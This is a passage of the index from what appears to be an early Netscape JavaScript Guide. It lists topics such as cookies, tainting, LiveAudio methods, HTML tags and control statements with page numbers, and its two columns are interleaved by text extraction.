See also checkboxes in JavaScript 26, 135
JavaScript to Java conversion 85
clearTimeout method 187
Date object
client JavaScript 21
See also dates, times
client-side JavaScript 20 creating 183
overview 21 overview 183
close method 59 using 183–187
window object 66 dates
colors See also times
hexadecimal values 215 cookie expiration 95
list of 215 working with 183
string literals 215 default objects, specifying 209
string literals for 215–220
defaultStatus property 94
commas, in cookies 95 dialog boxes
comment statement 209 Alert 59
comments 30 Confirm 47, 59
types of 209 Prompt 59
comparison operators 143 directories
compute function 47 conventions used xv
conditional expressions 148 do...while statement 201
conditional statements 198–200 document conventions xv–xvi
if...else 198 document object 55
confirm method 47, 59 See also documents
described 60
containership example of properties 55–57
specifying default object 209
with statement and 209 documents
See also windows
continue statement 205 document object 60
cookies
defined 94
example of use 97 E
implementation of 221–226 elements array 61
with JavaScript 96 elements property
limitations for 95 See elements array
Index 241
calling 34–36 A 74
defined 34 FORM 55, 74
defining 34–36 FRAME 59
defining and calling 168–170 FRAMESET 68
examples of 40 HEAD 169
excess arguments for 170 IMG 93
Function object 187 MAP 92
isNan 193 NOSCRIPT 34
parseFloat 194 PRE 38
parseInt 194 SCRIPT 28
recursive 169 TITLE 56
using built in 192–194 hypertext
using validation 41–42 See links
HyperText Markup Language
G See HTML
getDay method 184
getHours method 186 I
getMinutes method 186 identity taint code 107
getSeconds method 186 if...else statement 198
getTime method 184 image maps
GetVolume method (LiveAudio) 228 client-side 92
server-side 93
go method 62
images property
graphics See images array
See images
IMG HTML tag 93
integers, in JavaScript 137
H
ISMAP attribute 93
HEAD HTML tag 169
isNan function
Hello World applet example 82, 88 overview 193
history list 62 IsPaused method (LiveAudio) 228
history object 55 IsPlaying method (LiveAudio) 228
described 62
IsReady method (LiveAudio) 228
history property
See history array
HREF attribute 93
J
HTML Java
embedding JavaScript in 27–34 See also LiveConnect
and JavaScript xiii accessing with LiveConnect 80
communication with JavaScript 77–
HTML layout 57–59
90
HTML tags compared to JavaScript 26
Index 243
while 202 See also Navigator
loops Navigator JavaScript
continuation of 205 See client JavaScript
for...in 208 Navigator JavaScript. See client-side
termination of 203 JavaScript
lowercase 28, 136 navigator object 54
See also Navigator
M described 62
MAP HTML tag 92 Netscape packages
See packages
Math object
netscape.applet package 79
overview 188
messages netscape.javascript package 79, 86
Alert dialog box 59 netscape.plugin package 79
Confirm dialog box 59 netscape.sun package 79
Prompt dialog box 59 new operator 149, 173
status bar 94
NOSCRIPT HTML tag 34
METHOD attribute 57
NS_ENABLE_TAINT environment
methods variable 106
See also the individual methods
defined 36 null keyword 142
defining 176 Number object
referring to windows 73 overview 190
MIME types numbers
client capability 98 Number object 190
mimeTypes array 98 parsing from strings 194
mimeTypes property
See mimeTypes array O
object manipulation statements
N for...in 208
new operator 206
NAME attribute 56 this keyword 207
Navigator with statement 209
See also Navigator 2.0, Navigator objects
3.0 See also the individual objects
and JavaScript 21, 23 adding properties 175, 176
MIME types supported 98 creating new types 171–175
predefined arrays 63 deleting 178
printing output 38 establishing default 209
Navigator 2.0 hierarchy of 53
See also Navigator indexing properties 175
Navigator 3.0 overview 167
Index 245
reserved words 213 space characters, in cookies 95
reset buttons special operators 148
See also buttons new 149
Reset object typeof 150
See also reset buttons void 151
return statement 35 SRC attribute 31
RGB color values 215 start_at_beginning method
(LiveAudio) 228
right shift operators 147
start_time method (LiveAudio) 228
right-hand evaluation 32
statements
See also the individual statements
S break 203
SCRIPT HTML tag 28 conditional 198–200
LANGUAGE attribute 28 continue 205
SRC attribute 31 do...while 201
for 200
scripts
for...in 208
example of 30
if...else 198
hiding 30 labeled 203
SCRIPT tag 28
loop 200–205
tainting ??–108
object manipulation 206–209
scroll method 59 overview 197–209
security while 202
See also tainting status bar
Select object displaying hints 94
See also selection lists displaying messages 60, 94
self property 73 status property 60, 94
semicolons stop method (LiveAudio) 228
for event handlers 45 stop_at_end method (LiveAudio) 228
in cookies 95
StopAll method (LiveAudio) 228
in JavaScript 31
string literals 138
server JavaScript 23
String object
servers
See also strings
accessing ??–108 overview 190
setDay method 184
string operators 148
setInterval method 59
submit buttons
setTime method 184, 185 See also buttons
setTimeout method 59, 187 submit method 42
setvol method (LiveAudio) 228 Submit object
sound See also submit buttons
See LiveAudio subwindows, updating 39
V
values
See data types
var statement 137
variables
Index 247
248 JavaScript Guide